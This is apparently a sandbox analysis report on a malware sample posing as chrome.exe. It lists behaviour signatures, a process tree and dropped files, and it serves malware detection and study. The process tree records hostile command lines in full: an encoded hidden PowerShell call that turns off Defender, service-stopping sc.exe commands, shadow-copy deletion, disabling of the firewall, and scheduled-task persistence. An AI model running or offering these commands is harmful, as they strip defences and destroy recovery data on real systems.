Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/05/2026, 20:25

General

  • Target
    chrome.exe
  • Size 49KB
  • Sample260501-y7mtmsgz4q
  • SHA256 53a4d7d125970121f2df04890c8f42f292c1eced423116bb146c083a1dcb8bf1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:332
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5664
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3484
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1104
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5756
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1912
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2444
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1356
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5800
      • C:\Users\Admin\AppData\Local\Temp\chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
        3⤵
          PID:2196
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:5924
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1772
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:3240
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2052
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4904
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\chrome.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2876
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\chrome.exe" /sc minute /mo 30 /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2660
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3076
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:444
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5232
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:316
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:636
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            PID:3364
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:728
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4740
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1516
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3900
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:1356
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5040
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5052
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3252
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:2288
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\chrome.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4588
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:3352
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:4680
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:1636
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                  PID:628
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2680
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:3196
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4708
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:4260
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:4072
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa38c8855 /state1:0x41c64e6d
                  1⤵
                  • Drops desktop.ini file(s)
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:5304
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2508
                • C:\Users\Admin\AppData\Local\Temp\chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\chrome.exe
                  1⤵
                    PID:220
                  • C:\Users\Admin\AppData\Local\Temp\chrome.exe
                    C:\Users\Admin\AppData\Local\Temp\chrome.exe
                    1⤵
                      PID:3540

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          LockScreen___1920_1080_notdimmed.jpg

                          • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-914486190-3969805341-592249730-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                          • Size 604KB
                          • SHA256 b46ec918071b918a4ab4535e4c2aeea2404c3aea36d5e9874bd5f8f6ed70fc31
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 66KB
                          • SHA256 7dbbe006395350ad28cde1dff6001f125a76156641a5eabe60c1b89fbdcef00e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 66KB
                          • SHA256 99060d46aaa20c138efb393458c2fd9f1a82611b3dd101894b948633e4d5d261
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          chrome.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\chrome.exe.log
                          • Size 660B
                          • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_bzfy1gpi.ypm.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bzfy1gpi.ypm.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 231B
                          • SHA256 cfe15efc8ea427d93621a5cb77c612e5d5befdc795ab4e11bbeb3239504d09e7
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 232B
                          • SHA256 81af999cf183fdd8c23b862c805ab609e571721af82021bf563e02c47a99d208
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 49KB
                          • SHA256 53a4d7d125970121f2df04890c8f42f292c1eced423116bb146c083a1dcb8bf1
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/220-2261-0x0000000000D60000-0x0000000000D90000-memory.dmp

                          memory/332-2255-0x0000023522420000-0x000002352242A000-memory.dmp

                          memory/332-2259-0x0000023522970000-0x0000023522976000-memory.dmp

                          memory/332-1684-0x00000235223F0000-0x00000235223FA000-memory.dmp

                          memory/332-1959-0x0000023522440000-0x000002352245C000-memory.dmp

                          memory/332-1576-0x0000023522770000-0x0000023522825000-memory.dmp

                          memory/332-1549-0x0000023522400000-0x000002352241C000-memory.dmp

                          memory/332-2285-0x0000023509C90000-0x0000023509C9C000-memory.dmp

                          memory/332-2284-0x0000023508330000-0x0000023508360000-memory.dmp

                          memory/332-53-0x000002350A2D0000-0x000002350A2F2000-memory.dmp

                          memory/332-2256-0x0000023522990000-0x00000235229AA000-memory.dmp

                          memory/332-2260-0x0000023522980000-0x000002352298A000-memory.dmp

                          memory/332-2257-0x0000023522430000-0x0000023522438000-memory.dmp

                          memory/444-2281-0x0000025358C00000-0x0000025358C30000-memory.dmp

                          memory/628-2307-0x00000162ADA60000-0x00000162ADA90000-memory.dmp

                          memory/636-2311-0x000002AC54710000-0x000002AC54740000-memory.dmp

                          memory/1636-2306-0x000001BB0EDA0000-0x000001BB0EDD0000-memory.dmp

                          memory/2052-1663-0x000001A9E11F0000-0x000001A9E1220000-memory.dmp

                          memory/2196-836-0x0000000001370000-0x00000000013A0000-memory.dmp

                          memory/3240-1519-0x000002AD2F070000-0x000002AD2F0A0000-memory.dmp

                          memory/3352-2280-0x0000026082970000-0x000002608297C000-memory.dmp

                          memory/3352-2279-0x0000026080D00000-0x0000026080D30000-memory.dmp

                          memory/3364-2309-0x000002B7B0960000-0x000002B7B0990000-memory.dmp

                          memory/3540-2269-0x0000000001180000-0x00000000011B0000-memory.dmp

                          memory/4668-0-0x0000000000DD0000-0x0000000000DE2000-memory.dmp

                          memory/4668-2316-0x000000001BC00000-0x000000001BC10000-memory.dmp

                          memory/4668-2313-0x0000000001540000-0x0000000001570000-memory.dmp

                          memory/4668-2314-0x0000000002E90000-0x0000000002E9C000-memory.dmp

                          memory/4668-1-0x000000001BC00000-0x000000001BC10000-memory.dmp

                          memory/4680-2292-0x000002703B250000-0x000002703B251000-memory.dmp

                          memory/4680-2317-0x00000270399D0000-0x0000027039A00000-memory.dmp

                          memory/4708-2308-0x000001262EAB0000-0x000001262EAE0000-memory.dmp

                          memory/4740-2287-0x000002197E080000-0x000002197E0B0000-memory.dmp

                          memory/4904-2247-0x000001EB12400000-0x000001EB12430000-memory.dmp

                          memory/4904-2248-0x000001EB12490000-0x000001EB1249C000-memory.dmp

                          memory/5232-2290-0x00000258EDAC0000-0x00000258EDAF0000-memory.dmp

                          memory/5304-2315-0x00000269BEB90000-0x00000269BEBC0000-memory.dmp

                          memory/5800-734-0x0000015C44DD0000-0x0000015C44E00000-memory.dmp